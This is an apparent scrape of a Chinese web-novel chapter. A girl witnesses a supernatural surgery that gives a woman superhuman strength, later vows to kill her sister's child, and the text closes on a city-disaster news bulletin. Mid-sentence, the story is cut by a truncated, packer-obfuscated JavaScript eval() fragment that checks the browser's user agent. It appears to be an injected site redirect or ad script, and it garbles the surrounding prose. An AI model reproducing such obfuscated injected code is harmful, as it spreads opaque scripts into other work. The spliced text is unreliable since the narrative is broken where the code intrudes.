“你说的,一切都糟透了。”老人说起这里神色是怀念的,“你的脑子一团乱,浑身上下都因为淋雨而感觉不适,无论是谁都会觉得你可怜吧。更糟糕的是,今天是你月经的第一天。” 哦,有乐千实明白了,她的情绪化与隐约的坠痛,是因为她的生理原因。 但生理期永远是经历者有第一知情权的,有乐千实不明白,为何她的生理期是由眼前这位,她从未遇到过的,自称认识她的老人告知的。 “你怎么知道的?”有乐千实问道,她已经顾不上自己思考了。 “是你自己告诉我的。”老人笑着告诉她答案。 在答案被交付给有乐千实,并被她接纳的那一刹那,她感觉到似乎有什么不一样了,她的浮躁与痒意被一种漂浮感替代,那是新的世界的,来自未来的光的照耀。 “我是来带你走的,千实。”老人理所当然地说,“我有很多事情想告诉你,想和你说。但现在,我要带着你离开这里。那么你愿意与我一起离开吗?” 不远处,车门还开着,暖灯昏黄,是在邀请。有乐千实意识到了她正在经历一个重大的抉择事件,她需要尽快衡量轻重,并给予眼前的老人一个答复。她有很多很多的问题,但这些问题却又只是她的好奇而已,那能影响到她抉择的问题并不多。 “我告诉你这些事的时候,我们是什么关系?”有乐千实问道。 “是朋友,或者说同行者吧。”老人回答得很迅速。 这是一种平等的关系,有乐千实心想。 她看向那车门,那昏黄的暖光是来自新世界未来的一角,是她想要的东西。而若是回头看,雨夜阴冷,一切如常,若是她走进那场大雨之中,一定又被会淋湿吧。 而有乐千奈也不会再与她在道路上相逢了吧,有乐千实心想,她要离开这里了。 “走吧。”有乐千实说,她感到自己的心脏轻了一些。 “走吧!”老人笑了,是开心的,她站起身来撑开伞,伞布果然很大,足以容纳两个人在大雨之中不被淋湿。 二人上了车,有乐千实用老人递来的毛巾擦着头发,车内的一切都温暖而平静,就连那消毒水与血腥的气息都是安稳的。 车辆起步,缓缓加速前进,车外传来沉重的刹车声以及过于明亮的大灯映照而出的白光,是公交车到站了。有乐千实朝车外看去,朝车后看去。 那里什么都没有。 “我们要去哪里?”有乐千实问道,她并没有感受到多少紧张。 “去公司,先带你去洗个澡,顺便换身衣服吧。”老人说道,她的语气一直是带着欣喜的平静,她看着有乐千实,笑容所附带的感觉并非是慈祥。 “你是谁?”有乐千实事到如今才问这个问题,“你带我离开是想做什么?” “我的名字是利奥拉,全名哦。”老人自我介绍道,“职业的话怎么说都可以吧,不过就今晚而言是外科手术医生。我准备带你去见证一场手术,千实。” 老人递给有乐千实一张名片,并非是什么新工艺制品,只是带着些许纹路的纸片。名片上正面是老人的名字:Lea-Ora。反面是公司名字:Evo基因生物工程科技有限公司。除此之外名片上就没有其它内容了,没有职位信息,没有联系电话,没有标语。 有乐千实知道这个近年来愈发崭露头角的老公司,但只有一个公司的名字她也无法确认这位老人的身份是什么,但既然她本人说是外科手术医生,那就这样吧。 车辆平稳地载着二人抵达了公司在西部市区的园区内部,有乐千实知道这里,但也从没有进入其中过。园区占地面积在市区可以算得上广阔了,与瞭望塔是邻居,奢侈得可以。 一路上老人对有乐千实讲述了许多东西,大多数都是不可思议的,有乐千实听着,有时发问,老人也都一一回答。就像她自己说的那样,二人以前似乎真的是朋友,但就不知道这个以前到底是什么时候了。 有乐千实在园区休息区域洗了个澡,换了衣服,也换上了生理期用品,她好歹也是上过生理课的,不至于这些事情也要问别人。利奥拉给有乐千实准备的是一套正装,西装背心,衬衫,黑色罩裙,西装裤。看着镜子里有些松垮的外型,有乐千实决定开始健身。 更衣室外,利奥拉坐在被热带植物包围的浅色沙发上翻看着笔记本上的记录,枝叶与木头的气息中和了她身上的气息。 这栋楼在整个园区内占地面积最广,为员工娱乐楼,功能为休息和学习,以及建设娱乐之类的业余活动。与办公楼那只比瞭望塔矮一些的高度不同,这处总共只有四层,一二层对所有员工开放,二人所在的是第三层,但无论从哪一层都看得见那棵被移植到室内的大树。 “哦!果然还是穿着这身衣服的你比较熟悉啊。”利奥拉看见有乐千实走出更衣室,站起身来迎接道,她走来走去打量有乐千实,“但还是不太一样吧,看着像个小孩子一样。” “我现在15,还在长高。”有乐千实解释说,她站着不动任由利奥拉围观,“走吧,外科手术要提前准备很多东西的。” “走吧。”利奥拉点头,带着有乐千实离开了这栋楼,走内部通道一路抵达了瞭望塔的顶层。电梯停靠之后,门外的的一切都失去了现代设备该有的感觉,人性化的设计全部消失了,机械科技生冷的气息充斥空间,不留余地,留下的只有有用的部分。 “居然是在这里。”有乐千实感叹着看向窗外,高处的俯瞰风景总是不错的。 “困难点在于电路,不过最近这部分也逐渐不再是难处了呢。”利奥拉颇为满意周围环境,“活得太久了就会失去很多东西,建筑同理,这是没办法的事情。” “这些是Evo设计的器械吗?”有乐千实打量着用处不明的方形机器,到她腰部高,各种线路令人眼花缭乱。 “怎么说呢?我提供了方向和结果,交给科技部设计的,不过就现在而言这个还算是精密度最高的版本,看着有些奇怪吧?这是为了随时可以送回去改。”利奥拉热情地介绍说,“多功能感应型端口,随时接入各种设备并共享信息以进行调整的用具,要是能聪明点就更好了。” “你打算研发人工智能吗?”有乐千实问。 “你果然能理解我嘛!”利奥拉很高兴地说,“我有这个想法,但本身在人工智能与数据方面的了解并不足以我干涉科技部门这方面的发展。” “是因为,你想研发的人工智能,是用于你说的那些方面,并非学习大数据得到的产物吗?”有乐千实若有所思,“现在大部分模型都并非真正意义上的人工智能,你想要的那种更是与现代发展是相违背的。” “正是如此。”利奥拉笑着点头。 “…我会帮忙的。”有乐千实说。 “谢谢!”利奥拉像是大人主动松口后的孩子一样开心地感谢道,完全不考虑一个15岁的孩子要怎么帮忙研发人工智能,“这个很有意思你一定会喜欢的!名字我已经想好了哦虽然是有点讨厌的名字,叫阿尔卡纳如何?” “随便你。”有乐千实意识到了利奥拉一旦聊起自己感兴趣的东西就很难停下来了,“快去准备手术,患者总不能等医生吧。” “说得也是!”利奥拉郑重地点头,“不能让她等这么久,一会再聊吧,等她醒过来了之后我们一定能好好地聚在一起聊天的!” “她?”有乐千实理解了些什么,“你的患者,你我,我们三个以前是朋友吗?” “嗯!”利奥拉笑着点头,那是非常真挚,发自真心的喜悦带来的笑容,“我们三个人的友谊可是真正意义上的无畏时间,千实,你们关系可是很好的哦!” “这样吗?”有乐千实看着这样的笑容有些期待,她并没有真正意义上的朋友,她的同龄人很难与她有共同话题,也很难被她看在眼里。虽然说此前她从未遇到过利奥拉口中的那位患者,但利奥拉这样说,她也对其抱有了一些幻想。 利奥拉带着有乐千实去往最深处的医疗区,隔着一扇玻璃,有乐千实看到了手术室内的一切。 苍白的房间里此时有两个人存在,一个坐着一个半躺着。坐着的那个身穿白大褂,手里捧着一本厚重的金属封皮的书在看,右手手持翻页用的尺偶尔翻动书页,她并没有带手术用的头套,黑色的半长发散在肩上,面部特征是西方人所有的。她的表情凝重,厚重的黑眼圈表明其主人确实需要休息了。 而躺着的那一位就是患者了,有乐千实仔细打量着那闭着眼的人,她浑身上下被白布覆盖,除了一张带着面罩的脸,那是一张东亚人面孔,闭眼歇息时是恬静的。此时她半躺在略微抬起的手术床上,上方被一个反扣玻璃缸笼罩住,不知用途,那是有乐千实没见过的器械。 “我得去消毒室了,一会见吧。”利奥拉说着就离开了,她的语气里没多少多少紧张的感觉,脚步也是轻快的。 为何要我见证这一场手术呢?有乐千实不禁有些疑惑,但也没有表达出什么。她没有选择坐下去缓解身上隐约的不适,只是站在玻璃前等待。 没过多久,换好衣服的利奥拉进入了手术室,那本坐着的人也站起身,将书本放在手术床旁边的台子上,并把黑色的尺递给利奥拉。那小臂长的尺顶端是圆的,有着金属的光泽感。 之后,那人便转身离开了手术间,最后回头看了利奥拉一眼,神情是嫌恶的。 但利奥拉并没有回头,整间手术室现在只剩她一人,以及床上的病患。她非常随意地在那玻璃罩旁的黑色匣子上操作了几下,仪器大概是启动了,随后她掀开了患者身上覆盖的白布,手术正式开始了。 说起来,她都没有告诉我这个人生了什么病啊。有乐千实想到了这一点。正在她思索之时不远处有脚步声传来,她抬头,看见来者是原本在手术室内坐着的那人,此时她的脚步匆忙,急迫地往电梯处走。 二者目光相接了一瞬间,但她的脚步没有停下,只是露出了一个欲言又止的讥讽笑容,便转身离开了。 莫名其妙,有乐千实评价道。 通常来说外科手术是不允许只有主刀医生一人操作的,但此时并不是通常情况。利奥拉用黑色翻书尺在患者身上沿着主动脉走向划下了几道纹路,她的身上留下了黑色的线,并不是伤口,因为并没有流血。随后她又用尺沿着主纹路开始细细地描摹一些细纹路,那些纹路细到说是皮肤本身的纹路都不为过。细黑线密布患者全身,却没有覆盖本人的皮肤,因为太细了。 这一步骤消耗了大量的时间,利奥拉作为一个50岁左右的老人来说独自完成这一步是非常困难的,可直到她放下黑色的尺为止,她的神情都高度集中。那并非是紧张,而是出于某种对于自己所做之事的热情所集中的注意力。 线路刻画完毕之后,利奥拉再次在黑色的匣子上操作了起来,并顺手翻开了摆在台子上的书,书页无风自动翻页,直到缓缓停下。利奥拉将大量的输液针链接着线插入那患者身上主线的每一处点,透明的输液管的另一头连接自那玻璃罩。 随后,患者身上的线动了起来。 那是一种有规律,但无法被理解规律的移动,主线如裂开的伤口一般蠕动,撕裂,又复原,细线跳动,如同脉搏,如同心脏,每一条都自有一套规律,所有的线一齐跃动起来的那一刻,患者开始流血。 她在流血,却像是在下一场雨,有乐千实不自觉地把手贴在了玻璃上,眼球几乎触及那透明的隔层,仿佛想以此来感受那之内的消毒水与血液的气息。 手术室内,患者的身上的血液开始朝着那倒扣的玻璃罩逆流,线还在跃动,舞蹈愈发激昂了起来,有被隔绝的交响乐在演奏,利奥拉也看着这一切,看着那血液从患者的身上一点点漂浮出她的身体,她的眼中有光。 血液被玻璃罩吸附,从外层循环到内层,细胞结构被分析重构,些许不明物质残留在壁上,更多的如同被雾化一般涌动着,不知过去了多久,那血液开始回流。 通过一根根细长的管道,那些血液重新流回了患者的身体里,管道密布她的全身,像是她的第二幅血管一般。这个过程持续的时间也非常的长,超出其本身所能承受的重量的血液被大量输进她的血管之中,充斥她的□□。 那些黑色的主线逐渐变成红色,仿佛某种进度条,血色滴落如有线路可循的雨,有乐千实觉得腹中的坠痛与她的思维割裂开了,但血腥味还在,因为她也在流血。 血的味道,下腹的疼痛,断开的思维与被给予的答案。有乐千实认为,自己确实看到了绝对不可思议的东西。 直到输血阶段结束,利奥拉用黑色的尺翻开了患者的右眼,似乎是想做些什么,但随即她又转为翻开左眼,用黑尺圆的那一头将其中的眼球挑出,并从口袋里掏出了一个纹路不明的黑红色球体放进了眼眶中。 那原本的眼珠转瞬间消失了,随后那眼眶中的球体几经变动,最后竟是化为了正常眼珠的模样,瞳孔泛红。利奥拉满意地合上了患者的左眼,并开始取下那些输液针。 最后,利奥拉再次温柔地为患者盖上了白色的布,一切重归平静,患者依旧闭着眼歇息,面容恬静,似乎在沉睡一般。 结束了,有乐千实意识到这一点,也终于意识到自己的腿在发麻,于是便退后一步,放任自己跌回椅子上。 利奥拉离开了手术室,那手术床缓缓放平,随后自动移动着带着患者也离开了手术室。 过了没多久,利奥拉也来到了手术外的休息区,她穿着简单的衬衫和西装裤,背有些弯,疲惫让她的老态明显了些。她用脚踢开冰箱门拿了水,随意地靠坐在了沙发上。 有乐千实看着她喝水休息,没有说话。 “这次很顺利哦!”利奥拉自顾自地说着,“之前有过一次练习之后这次的手术就顺利多了,果然练习才能保证成功率嘛。” “练习?也是这个患者吗?”有乐千实问道。 “不,是那个刚刚从这里离开的人,她的名字是博蒙。”利奥拉摆了摆手,“不用在意,她很快就离开这里了。” “那个病房里的患者,她生的是什么病?”有乐千实问道。 这个问题让利奥拉喝水的动作顿住了,有发丝落在她的脸颊上。 “她没有生病。”利奥拉说,“我找到她,就和找到你一样。” “原来如此。”有乐千实顷刻间就理解了这场手术的性质,但她没有什么感觉,“你是理想主义者,利奥拉。” “明白这一点有让你对我的想法产生什么改变吗?”利奥拉笑着问。 “不。”有乐千实摇头,“你的理想是不可思议的,这场手术也是。” 既然如此,她就没有不看下去的理由。 “居然用不可思议来形容啊。”利奥拉若有所思地笑了,“现在的你说话还挺可——” “砰——” 话音未落,手术室一旁的房间传来什么东西倒下的声音。 “是她吗?”有乐千实有些意外患者恢复得如此之快。 “是吧!”利奥拉欣喜地站了起来,“去看看她吧,在她把我好不容易建好的医疗区全部毁掉之前。” “为什么这么说?”有乐千实有些不好的预感,但利奥拉已经兴致冲冲地起身离开了,她也只能跟上。 休息室的门被利奥拉打开,有乐千实跟在她身后往里看。 房间内,身披白色布料的人正小心翼翼地从床上站起,护栏扶手从中间断裂开来,一半掉在地面上,明显是发出声音的原因。那落在地面上的半截钢管上留有清晰的抓握指印,看大小,正是此时用手指捏住身上布料的人所造成的。 “那里有衣服哦。”利奥拉指着衣柜提醒道。 “…我现在,不是很能控制住力气。”那人的声音带着犹豫和跃跃欲试,“我只是想坐起来就把把手掰断了,利奥拉,这是正常的吗?” “这样吗?”利奥拉却是笑了,那是欣喜的笑容,“大概吧,我其实也不知道诶。不过如果需要的话我也可以帮你穿衣服啦?” “不用了谢谢。”那人迅速礼貌谢绝了,“麻烦留我一个人在这里吧,我很快出去。” 于是利奥拉带上了门,转过头,看见有乐千实还在看着已经关上的门。 “你想和她说话吗?”利奥拉问道,“一会再说吧,她还挺在乎外表这一套的。” “…这倒不是问题。”有乐千实沉默了一会,“她,因为这场手术获得了不可思议的力量。” “是的,非——常不可思议的力量哦。”利奥拉拉长了声线,“而且这次的手术这么顺利,她未来的成长一定会超乎我的预料吧。” 有乐千实方才只是仓促地看了一眼那人的身影,那是一个成年女性,就这几句话的交谈而言,看不出有什么特殊的地方,除去在手术时的那一幕之外,有乐千实也没有觉得自己与那人有什么好谈的。 “她之前是个怎么样的人呢?”有乐千实问道。 “能干的年轻人,但运气不怎么好的样子,我找到她的时候她的状态很糟糕。”利奥拉说,“千实,我明白你在担心什么,但许多事情我可没办法和你说,之后你们会有时间互相了解的。” 看着利奥拉欣喜的笑容,有乐千实稍微放下了心。 二人回到休息区,手术室内的灯还亮着,玻璃渐渐雾化,最后与墙壁融为一体。没过多久,身着与有乐千实身上相同的服装的人走了出来,一边小心地整理着头发一边往休息区走去,她的黑色长发发尾隐隐有些蓝色。 “感受如何?”利奥拉问道。 “很好。”那人回答道,有些不习惯般地揉着左眼眼袋,身姿优雅挺拔,但在有乐千实看来还是有着会被训斥的地方。 她也注意到了有乐千实,似乎是有些意外地顿了顿,但表情没有变动。 “您好,我的名字是有乐千实。”有乐千实主动站起身来自我介绍,并伸出手来准备与对方握手。 “您好,我的名字是湛。”湛也伸出了手与有乐千实相握,她的微笑是无可置疑的亲切友好,但有乐千实能看出来那并非是发自真心的。湛的手心是热的,比正常人该有的温度更高一些,近乎是发烧时的热度。 简单的握手之后,湛有些欲言又止。利奥拉也不说话,只是饶有兴致地看着两个人握手并自我介绍。 “您有什么想问的吗?”有乐千实问道,她确实是有许多问题。 “是的,有乐,小姐。”湛似乎很不适应这个称呼,“请问您今年多大了呢?” “哈哈哈——”忽然爆发出笑声的人是利奥拉,除了她还能是谁? “我一直想看的就是这个啊!”利奥拉发自真心地说道,她笑到近乎倒在了沙发上,“一想到以后还有那么多东西可以看,我就发自真心地感到高兴啊!” 高兴什么呢?谁都不会真的理解的吧。 “…我现在15岁,您呢?”有乐千实无师自通学会了无视利奥拉有时莫名其妙的反应。 “我的年龄是23岁。”湛回应着,但她的表情还是有些欲言又止的。 有乐千实发现湛的用词偶尔有些过于正式化了,配合名字,她迅速意识到了对方大概率并非是本国人。 难道是来自什么对未成年人看管十分严厉的国家吗?有乐千实猜测着。但比起这些,她更大的疑惑在于,她们真的有可能像是利奥拉说的那样,成为朋友吗? 这个疑问持续了很长一段时间,不如说过于长了,直到现在,有乐千实依旧偶尔会发出一种质疑:友谊是这样的一种关系吗?无论何时都不会有人正面回答她的问题,湛总是一副欲言又止的样子,利奥拉总是在莫名其妙地笑。 但比起友谊,有乐千实也有其它的关系需要研究。例如同事,例如师生。 博蒙确实如利奥拉所说的那样没有再次出现在有乐千实的眼前,可她的女儿,代号叫格雷伊的那个孩子却是一直留在了这里。 “除了这里她也没有别的地方可以去了。”湛说这句话的时候带着她一贯的欲言又止,有乐千实偶尔对此感到烦躁,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你真的该少看点歌剧了。”有乐千实对这种无用的娱乐嗤之以鼻,“你的职位不就是CEO吗?我这样称呼的时候你知道我在叫你,这不就可以了?还是说你终于被形式主义成功洗脑了准备开始在公司里搞那一套制度了吗?” “我不强求你社会化成功,但能不能拜托你对于给你发工资的人有礼貌一点呢?”湛微笑着询问道,“有乐同事?” “你给我发工资是因为我解决了问题,CEO。”有乐千实并不理睬,“以及我有能力胜任这一职位,而不是因为我足够尊敬你。” “当然了有乐大总管,我无论什么时候都不会放弃相信你的能力的。”湛说话的声音抑扬顿挫,“在劳动局因为我给未成年发工资把我曝光之前我都不会放弃的。” “我以为权力把人的脑子洗正常是必然现象,没想到这里还是有你这个漏网之鱼啊。”有乐千实冷笑道,“事到如今还要因为年龄问题而纠结称呼,我以前怎么没发现你是这么一个幼稚的家伙?8岁算什么?我们管利奥拉不也是直呼其名吗?” “对啊,我觉得这样很好。”利奥拉煞有其事地点头。 “诶,你要知道,我们直接叫她奶奶她也是会开心的,或者说姐姐?”湛看向利奥拉。 “…这样的话,你们可以直接称呼我为母亲。”利奥拉郑重地说,“要拥抱吗?” “拜托别这样。”湛的笑容消失了。 “…你看,你自己都接受不了吧?”有乐千实苟延残喘。 “都这样了你就别想着和我吵架了吧?”湛意有所指地说。 “真是过分,我可是认为母女是非常平等的关系,而且比起朋友来说要亲密得多呢。”利奥拉失落地说,“让我叫你们母亲也可以,但是会引起社会舆论吧,要不就私底下?” “请用姓氏称呼我。”有乐千实郑重地说,“或者什么都行,叫我的名字。” “千实!”利奥拉笑着说,“果然还是这样顺口一些。” “有乐教练,这样如何?”湛说,“说实话,当年我就应该叫你有乐小朋友的。” “我不会回应你的。”有乐千实斩钉截铁地说。 “那不重要哦。”湛笑了,“叫我湛,或者老板。” “Ceo。”有乐千实说。 “湛!”利奥拉点头,“果然还是这样顺口一些。” 总而言之,就是这么一回事。 有乐千实作为老师,以自己的方式教导格雷伊,并得到了不错的成果。于是有一天,她久违地准备回到有乐千奈那里,带着格雷伊一起去。 自从那个雨夜之后,有乐千实并没有再回去过,她托人给有乐千奈带了一封信,内容简短,说明了自己的去向,以及不会再回去的态度。 事到如今她早已有了巨大的变化,不再是当年那个思想不够成熟的弱小孩子了,也长高了不少,同时也有了自己教导出的学生,她认为自己已经有了与姐姐平等交流的资格。 她将自己的想法简单告诉了湛。 “目的是什么?”湛头也不抬地问道。 “让她不用担心我了。”有乐千实说。 “…这句话你和格雷伊说就可以了。”湛看了有乐千实一眼,“告诉我目的是什么,或者要我来告诉你吗?” “算了,告诉你也没关系。”有乐千实烦躁地说,“我要去看一眼她的孩子,利奥拉有时也会谈起她的存在,我有些好奇。” 湛停下了手中的笔,笑着看向有乐千实,她只有一只眼睛传达视线,却也有足够的分量。 “你最好一直这样自信。”她开口就说不好听的话,“因为我不会安慰你的。” “…你真的该剪刘海了。”有乐千实岔开了话题,离开了她的办公室。 “我让司机在楼下等你了。”门关上前,湛的话传达了出来。 有乐千实带着格雷伊坐上了前往过去的车,在听闻了目的地之后,格雷伊表现得有些兴奋,一路念叨着问了许多问题,有乐千实挑了些回答。 “你问这么多问题干什么?”有乐千实问道。 “我,我都不知道老师也有家人。”格雷伊犹豫地说,“老师也从来不谈。” “谁没有家人?”有乐千实说,“说话不要犹豫不决。” “是,是的!”格雷伊迅速回应。 车辆在熟悉的铁门前停下后,有乐千实抬头就看见了有乐羽生,她正在弹钢琴,一旁的老师说了些什么,她点头,那是个顺从的孩子。 这就是有乐千奈的孩子吗?有乐千实对此大失所望。 “…你回来做什么?”有乐千奈站在她的前方,神色不明,她看上去并没有什么变化。 “来看看你,也让你看看我。”有乐千实坦诚地展示自己,以及身旁的格雷伊,“以及我的学生,她,” “我不允许你靠近这里,有乐千实。”有乐千奈打断了她的介绍,冷漠地近乎带有攻击力,有乐千实见过她这幅模样,但从未想过那个对象是她自己。 五年而已,时间真的会改变这么多东西吗?有乐千实愣在了原地。 但有乐千奈的身后,安保人员已经带着武装部队围了过来,她这些年影响力和能控制的势力愈发庞大,对自身与家人安全的要求也变高了不少。 在有乐千实眼里,这是胆怯的表现,有乐千奈变得胆怯,弱小了许多,因为这五年的时间吗?还是因为,她的孩子的存在呢? 有乐千实再次看向了钢琴房,心中有了决断。 她曾经的姐姐,那个无所不能,带她离开母亲的那个姐姐,许诺给她不可思议的未来的那个姐姐,已经死去了。现在留在这个世界上的是一个面目全非的凡人,她胆小懦弱,为了一个微不足道的存在驻足不前。 是那个孩子,那个孩子杀死了我的姐姐,有乐千实意识到了这一点。有乐千奈给予她的新生她从未忘记,也心怀感激,于是,她必须杀死那个杀死她姐姐的仇人。 但不是现在,而是在未来,在有乐羽生取得力量之后。有乐千实收回了视线,一言不发地回到了车上,格雷伊也依依不舍地回去了。 一直到回到地下一层的训练区,有乐千实都没开过口。她换下制服进入训练区域后,发现湛在那里,没换衣服。她基本上不进行任何体能训练,因为她的力量足够强大。 有乐千实一言不发地经过她的身边,没有去回应那道视线。 “出发前你的脸色可不是这样的,是我给你安排的车上不了台面吗?”湛问道,一如既往地意有所指,有乐千实甚至知道她此时的表情。 一定是阴沉地微笑着的吧,有乐千实想着,却不能如往常那般只是在心中感到不愉快,那不知名的烦躁愈发壮大,让她的指尖都颤抖了起来。 为了发泄,她举起一个5kg的哑铃朝对方扔了过去,那黑色铁块还在半空中飞的时候她就明白这不会有用,只会让自己看着更加可笑而已。 果不其然,湛只是抬手就接住了,如停住纸飞机。 “…我现在没心情和你说话。”有乐千实说。 “你想打架吗?”湛问道,放下了手里的黑色哑铃。 “你会打架?”有乐千实质疑道。 “不会,我只会杀人。”湛耸肩。 “…你别是想说你准备杀了我。”有乐千实嗤笑一声,“无论你想说什么,我现在没有心情和你说话,找别人折磨去吧。” 说完,有乐千实就走向了器械区。 “看来我话没说清楚反而是害了你。”湛叹气,“那这样吧,就当时间倒流回你出发之前吧,让我来告诉你,你去找你姐姐的目的,以及,你把这件事告诉我的目的。” 有乐千实没有理她。 “你去找你的姐姐,是因为对她的女儿的憎恨,那个处于有乐千奈保护区内的孩子,在你不在的时间里出现在那里的孩子,你恨她转移了有乐千奈的注意力。”湛靠在史密斯机的架子上说话,语气轻缓,“于是你去找有乐千奈,想让她后悔自己的决定,对你的成长感到惊叹。” 有乐千实开始后悔自己没一开始就掉头就走。 “你来找我,是因为炫耀。”湛笑了出来,“你炫耀你还未拥有的,相信自己能拥有的荣耀,你带着格雷伊去,也是这样想的。” “你想打架?”有乐千实打断了她接下来的话。 “我不会打架,只会杀人。”湛看向有乐千实的背影,“你大概不会变成我这样吧。” “当然不会。”有乐千实愤怒地冷笑,“你不过是因为利奥拉的手术获得力量的普通人,你的力量只不过是用于达成利奥拉的目的而已,当然不会真的想要锻炼自己。除去这些力量你还剩下什么?那套莫名其妙的说话方式?社交手段?别在这里碍眼了,你根本不该出现在这里。” 说完,她因为自己的愤怒而开始喘气,锻炼是没办法继续了,这段从未开始过的友谊大概也是吧。但无所谓,有乐千实心想,她从不是因为这种东西而存活下来的。 “我有理由出现在这里的,因为我知道你会来这里。”湛的笑容没有改变。 “…来嘲讽我?来炫耀你的判断的正确?来说出上面一串话好让我听你的话?还是以上全部加起来?”有乐千实垂着头,放任血液循环让头发晕。 随即,她感受到自己的头被捧了起来,力量无法违抗,眼前出现了湛那张阴沉的,微笑着的脸,她仅剩的一只眼睛是普通的暖棕色,上眼皮习惯性地垂着,与额发一齐带来一片阴影。 “这个时候你倒是自信。”湛说着,大拇指擦过有乐千实的眼睛下方,带走了眼泪。 有乐千实拧过脸,蓄力一拳打向湛的下巴,而对方只是轻轻抬手,如同抚摸一般,巨大的力量迫使有乐千实停住了动作。 “你想看这种东西,去看戏剧还不够吗?”有乐千实压抑着愤怒,眼尾抽动着,她不想让自己扭曲的面部如此直观地被看到,“你非要把这一套用在我身上吗?你就这么讨厌我,非要看到我承认这些东西你才满足吗?” “是啊,谁叫我是你老板呢?”湛一如既往地笑着说,“那你就满足一下我吧?” “啊,那就承认好了,我就是擅自觉得自己足够强大,强大到能让姐姐对我刮目相看,能让她说出‘早知道就不生那个孩子了’这样的话来,对,我就是这样想的!幼稚吧?愚蠢吧?说到底这样的话我听到又能怎么样呢?她不可能再变回去了啊!”有乐千实自暴自弃地说,“我甚至想让格雷伊那个没有父母在身边的孩子知道我在家人眼里是个多么厉害的人,想让那孩子刮目相看。我,我也想让你看到我存在的价值绝非仅仅只有你们两个,加上格雷伊能理解的。我想要的就是这种没用的又幼稚的东西。我告诉你了,你满足了吗?满足了就滚吧!我必须变得更强大才行,我要变得更强大,要在以后杀了她,我要证明我自己可以——” 不知不觉间,湛早就没有再抓着有乐千实了。 “我可以证明,我的选择没有错。”有乐千实这样说着,头再次深深地低下了。 湛叹了口气。 有乐千实忽地抬头,眼神近乎是憎恨地看向湛,她伸出手,无视二人力量上的差距去掐湛的脖子。她为自己被迫的自我解剖感到无比的羞耻和痛苦,于是她憎恨一切的始作俑者,这个一直想当然的,拥有力量而不需要证明什么的,她的老板。 湛向前一步,抱住了有乐千实。 那是一个近乎谋杀的怀抱,抱得太紧了,有乐千实甚至感受到了疼痛,她一瞬间呼吸不上来,以为眼前这人察觉到了自己的憎恨准备给自己一个警告。 但很快,湛的力度慢慢地松了下来,维持在了一个比普通的拥抱更加用力,但不会窒息的程度,她的体温很高,隔着布料传达到有乐千实身上的时候还是烫的。 我不需要这个拥抱,有乐千实确认这一点,开始挣扎。 “我在安慰你。”湛说,她的胸腔因发声而颤抖,共鸣传达到了有乐千实的身上,“我没办法说你的想法是对的还是错的,也不准备批判你的做法。” “你当然不!你给我放开,谁要你安慰啊!”有乐千实近乎是在叫骂,“我需要的不是这种没用的东西,我要变强,而你无法给我任何帮助的,所以说给我放开啊!” “我不会打架,也不会杀了你,想来想去也就只能这样了。”湛自顾自地说,“这样你也看不见我的脸了吧,就这样安静一会如何?” 或许是湛的力气太大了,体温太高了,声音太平静了,在看不到她的脸的时候,有乐千实确实也逐渐地平静了下来。 “…这下被你抓到把柄了。”有乐千实自嘲到,“希望你能少用几次吧,不过我也没资格这样要求你了,这件事完全是我自己的错。” “我确实不可能不用这件事去嘲讽你啊?”湛理所当然地说,“但是你的所作所为并不能被全部否定,无论是做这件事也好,还是把这件事告诉我也好。” “是错误的。”有乐千实说。 “…发生错误的是其它东西。”湛又叹气了,“在这件事真正结束之前,你所作的一切都没办法被判断对错。” “别以为你比我大几岁就能说教我了。”有乐千实不服气地说。 “我不仅比你大,还给你发工资,是你老板。”湛提醒道。 “…你真的还挺烦人的。”有乐千实说。 “拜托你称呼这个性格品质为能说会道哦?”湛说道。 “我不会放弃这件事的。”有乐千实说。 “我知道,你一看就是反派。”湛说。 “反派的老板也是反派啊。”有乐千实提醒说。 “我早就知道了。”湛说。 拥抱时间结束,有乐千实觉得自己几乎要被烫伤了。 “你以后别动不动就抱上来了。”有乐千实抖了抖,非常不适应拥抱的感觉。 “你以为我有皮肤饥渴症吗?”湛微笑着说,“而且你身上还硬邦邦的,只有身高这方面比我矮一些算是优点吧。” “…没有话能和你说。”有乐千实沉默了,她这几年长高了许多,还是比不过身体素质远超常人的湛。 “我也没话好说,这算是在加班了。”湛拍了拍手站了起来,“我走了,你记得去看一眼格雷伊,她肯定被你吓得不轻。” “不用你提醒。”有乐千实挥了挥手。 在这之后过了很多年,在最后,有乐千实问了利奥拉一个问题。 “那时的我,在告诉你我第一次经历月经的事情的时候,是以怎样的心情?”她问道。 被问的利奥拉晃了晃头,如今她也就只有头脑还算得上是灵敏的了,即使是这样,她也是花费了一番功夫才想起来这件事的。 “啊,我记得的!”利奥拉怀念地说,“千实,你说起那件事的时候,是有些高兴,也有些悲伤的。你的语气非常,非常的怀念哦。” “…这样。”有乐千实理解了。 有很多事情早就留下了遗憾,她来不及回头了。 “利奥拉,我喜欢你讲述的那样的未来和你的理想,但过去,我从未理解你,也并不发自真心地接受那样的世界。”有乐千实说,她靠在轮椅边上,声音有些轻,“但是现在,我很期待这些的到来。我相信你,拜托你了。” “千实,谢谢你。”利奥拉笑了,那是一如既往的,从未改变的欣喜。 80.Day4 2024年4月28日,星期日,天气大雨。 昨日下午,西部市区市政府区域局部突发7.5级地震。市区多处建筑严重坍塌,伤亡数量还在统计中,灾后应急系统已启动,西部市区大面积区域断电断水,请市民远离灾区。现城市建筑道路维修队伍已开始修复工作,将尽快恢复城市基础道路使用可能。 市长宣布将联合多个部门确保街道继续运行,并呼吁市民“勿传播未经证实的信息”。市政厅原建筑部分垮塌,紧急转移至临时会议站。 昨日下午至今日早晨,多起大面积爆炸发生在城市各处,无人员伤亡,但请各位市民远离城市灾害地图中标注出的区域。南流湾码头物流区域疑似机械故障引发连锁火情,10余个集装箱堵塞主路。 昨日下午至今日早晨,多起人员失踪案被记录。多地区出现手持枪械的武装人员在街道上巡逻。城市公共安全管理部门表示请市民近期减少出行次数,并会提高巡逻频率。 本地人气女团“破冰者【星星符号】”成员破冰者在北流文化港直播时,背景响起两声枪响,她迅速躲入附近便利店并全程直播。 “地震可不得了,这都没把那根柱子震塌,当年那个谁和我说要使用高密度材料所以要加预算居然并不是全都在胡扯啊。 